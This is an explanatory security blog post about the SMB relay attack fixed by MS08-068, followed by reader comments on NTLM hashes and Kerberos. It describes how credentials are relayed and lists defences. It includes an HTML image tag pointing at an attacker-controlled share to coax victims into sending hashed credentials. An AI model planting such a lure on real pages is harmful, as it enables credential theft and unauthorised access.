ms08-068 — Preventing SMBRelay Attacks

Microsoft released ms08-068 this week, which fixes a vulnerability that's been present and documented since 2001. I'm going to write a quick overview of it here, although you'll probably get a better one by reading The Metasploit Blog.

Keep in mind that there is a lot of fun stuff that can be done with the SMB protocol. I'm going to talk about a few different design flaws right now, and point out exactly what ms08-068 patches. Hang on, though, this is going to get somewhat technical. The payoff, however, is that this is incredibly interesting stuff, and I'm happy to clear up any technical confusion. Just leave me a comment or an email!

I have talked about how Lanman and NTLM work (or fail to work) in the past, so I'll assume you've read that and just post a quick overview here. Basically, Lanman and NTLM will hash your password using their respective algorithms (and store the hashes on the system), then hash it again based on the server's 8-byte challenge. This second hash is the same for Lanman and NTLM -- it takes the hash already generated, splits it into three 7-byte chunks (padding it to 21 bytes), and encrypting the server challenge with each of those chunks. If an attacker already has access to the Lanman and NTLM hashes, then the game has already been won (the hashes can be directly used to log in).

The primary advantage to having a server challenge is to prevent pre-computed attacks (that is, it provides salt-like value to prevent rainbow tables-style precomputation attacks against the algorithm). Naturally, a malicious server can send a known challenge and generate tables based on that. This type of attack has been fixed in NTLMv2 (since the client provides part of the randomness).

A SMB Relay attack is a type of man-in-the-middle attack where the attacker asks the victim to authenticate to a machine controlled by the attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways, giving him access. Here are the players in this scenario:

  • The attacker is the person trying to break into the target
  • The victim is the person who has the credentials
  • The target is the system the attacker wants access to, and that the victim has credentials for

And here's the scenario (see the image at the right for a diagram):

  1. Attacker tricks the victim into connecting to him; this is easy, I'll explain how later
  2. Attacker establishes connection to the target, receives the 8-byte challenge
  3. Attacker sends the 8-byte challenge to victim
  4. Victim responds to the attacker with the password hash
  5. Attacker responds to the target's challenge with the victim's hash
  6. Target grants access to attacker

In the case of Metasploit, the attacker goes on to upload and execute shellcode, but that process isn't important, and it's discussed on the Metasploit blog posting.

Now, as an attacker, we have two problems: the victim needs to initiate a connection to the attacker, and the victim needs to have access to the target.

The first problem is easy to solve -- to initiate a session, send the user a link that goes to the attacker's machine. For example, send them to a Web site containing the following code:

<img src="\\Attacker\SHARE\file.jpg">

Their browser will attempt to connect to a share on the attacker called "SHARE", during which a session will be established. The victim's machine will automatically send the current credentials, hashed with whatever challenge is sent by the attacker (naturally, for the attack, this is the target's challenge). This can be delivered to them through an email link, through a stored cross-site scripting attack, by vandalizing a site they frequent, redirecting them with DNS poisoning, ARP spoofing, NetBIOS poisoning, and any number of other ways. Suffice to say, it's pretty easy to trick the victim into connecting to the attacker.

The second problem is that the victim needs to have access to the target. This one is slightly more difficult, but it can happen in a number of ways:

  • In a domain scenario, the user's domain account may have access to multiple machines, including the target
  • In other scenarios, users are well known to synchronize their password between machines. The target may have the same password as the victim, which would make the attack work
  • The target may be the same physical machine as the victim

That third point is the interesting one -- this can be used to exploit the computer itself! So, in that scenario, here are the modified steps (see the image at the right, although I think it's probably more confusing :) ):

  1. Attacker tricks the victim into connecting to him
  2. Attacker establishes connection back to the victim, receives the 8-byte challenge
  3. Attacker sends the victim's 8-byte back
  4. Victim responds to the attacker with the password hash that'll give the attacker access to the victim's own computer
  5. Attacker responds to the victim's challenge with the victim's hash
  6. Victim grants access to attacker

Hopefully that isn't too confusing. What it essentially means is that the victim will grant access to the attacker using its own credentials.

And this particular attack is what ms08-068 patches!

To put it another way: ms08-068 patches an attack (discovered in 2001) where a victim is tricked into giving an attacker access to connect to itself.

Mitigation

I talked a lot about vulnerabilities in the SMB protocol. Unfortunately, ms08-068 only fixes one of them. The issue is that the others are design flaws and can't be fixed without breaking clients. That being said, even though Microsoft can't fix them, you can fix them yourself, more or less, at the cost of potentially breaking clients (these can be done with local/domain security policies or registry hacks; search for them to find information):

  • Enable (and require) NTLMv2 authentication -- this will prevent pre-computed attacks, because the client provides part of the randomness
  • Enable (and require) message signing for both clients and servers -- this will prevent relay attacks
  • Install ms08-068 -- this will prevent a specific subset of relay attacks, where it's relayed back to itself

Hope that helps!

And, as usual, if you have any questions feel free to track me down.

Ron

17 thoughts on “ms08-068 — Preventing SMBRelay Attacks

  1. Reply

    Yogesh

    Hi Ron,
    thanks for the in depth explanation.
    well i tried the same smb_relay attack using metasploit 3.2, but the metasploit server only says "server started"
    I have stopped NetBIOS over TCI/IP
    Also enabled Auto logon to windows
    And accessing a shared file from tha attacker.
    Please can you help me, if i am missing any step.

    Thanks in advance.

  2. Reply

    Ron Post author

    Hi Yogesh,

    Sorry for the delayed response, I must have missed the email!

    I've personally never used the metasploit exploit, so I can't help you with that. The best place to turn is the Metasploit mailing list.

    Sorry!

  3. Reply

    Derek

    Hi Ron,
    RE: ms08-067

    Just a quick one, I'm looking for the nmap script smb-check-vulns.nse and I'm unable to find it anywhere.

    Hope you can help,
    Regards, Derek.

  4. Reply

    Ron Post author

    Hey Derek,

    It's currently in the SVN version of Nmap only. You can get a copy of it from the Nmap repository:
    svn co svn://svn.insecure.org/nmap
    (username guest, no password).

    Ron

  5. Reply

    Derek

    Hi Ron,

    Thanks for that, but I'm having real problems trying to install SVN 1.5.5 on SuSE linux Server 9.3 to get svn to work.

    Is there any easier way to get svn to work so I can obtain nMap?

    Thanks again for your time.

    Derek.

  6. Reply

    Ron Post author

    Well, give this link a try, it's the current HEAD revision:

    http://www.javaop.com/~ron/tmp/nmap-4.76-svn.tgz

  7. Reply

    Derek

    Thank You Ron,

    Much appreciated! It Works!

    Regards, Derek.

  8. Reply

    yaggi

    Hi Ron,

    If a machine is using a 15 character password where is it stored and is it hackable?for sure it will be in the sam file but will it ntlm or lanman store it? With regards to ntlmv2 is it like the client is also making a random challenge value the same with the server. I'm also confused with message signing,is it like a certificate. Goodluck to your certification. Go,go,go

    1. Reply

      Ron Post author

      Hi Yaggi,

      15-character passwords are only stored (and sent) as NTLM. The stored Lanman hash is just blank, and when it's transmitted the NTLM is hashed for both parts. NTLM can't be trivially cracked, but it's pretty fast to bruteforce. Though with 15 characters, you're probably not going to get it. On all my Windows machines, my passwords are 15 characters or more for this exact reason.

      You're correct about NTLMv2 -- it lets the client supply randomness to prevent a malicious server from forcing the hash to be 100% based on known values.

      Message signing is simply a hash for each message in the header, where the hash is based on the message contents + the password hash.

  9. Reply

    Yaggi

    Thank you Ron for the reply.

    If users enter 11 character to their password,
    1. does it mean it will be stored to ntlm?
    2. what is the maximum length of LM and when would a password be stored in NTLM?
    3. What happen when you enter 16 or more characters?
    4. will it be stored in NTLM or NTLMv2 (if enabled)?

    I tested some tools and I guess 11 characters will be stored in NTLM. Please correct me if im mistaken

    1. Reply

      Ron Post author

      Hi Yaggi,

      If a user has an 11-character password...
      1. It will be stored both LM and NTLM
      2. The maximum length of LM is 14 characters, after which it's stored exclusively as NTLM. By default, passwords are *always* stored as NTLM, no matter the length.
      3. If you enter 15 or more characters, the LM isn't stored but the NTLM is, as always
      4. NTLMv2 is an authentication, not a way of storing -- NTLMv2 is never used to store passwords

  10. Reply

    Yaggi

    Hi Ron,

    You are kind sharing your thoughts.
    I will check some of your posting becuase its very helpful and clear. Keep up this Ron, you really are helping the security as a whole.

  11. Reply

    yaggi

    Hello Ron,

    I have some confusing ideas in mind and hoping your help can sort thing out.

    This is in a Active Directory Infrastructure to be implemented:

    1. For Encryption, I wanted to implement NTLM (15 char). I wanted to introduce salt like 12-bits encryption, Is this possible? how would I intergare salt in the picture?

    2. For Authentication I wanted Kerberos or NTLMv2. What is the thin line between this 2 authentication methods? What should I choose best

    3. If we are using salt in our hashing password, what are the tools that can crack a salt integrated password?

    Thank you Ron in advance.

    1. Reply

      Ron Post author

      Hi Yaggi,

      I don't think there's any way to store Windows passwords salted. At least, not that I'm aware of.

      Kerberos is far more secure than NTLMv2, but it's more difficult to set up. I suggest allowing Kerberos (and only Kerberos) if you can. If you enable Kerberos + weaker methods, an attacker can trick systems into using the weaker authentication, so don't do that.

      I don't know how you would introduce a salt in storing Windows passwords, so I can't answer your third question.

  12. Reply

    Tom

    Hi Ron,
    Just asking, Is SMB Relay/Reply attack still relevant in this Win7SP1/Win2008R2 era?

    Thanks,

    1. Reply

      Ron Bowes Post author

      No, it was fixed in ms08-068 and any operating system that's come out since.

  13. Reply

    AbortedSecurity

    Thank you for this work and share it. A thank you from France. Sorry for my English.

Leave a Reply

Your email address will not be published.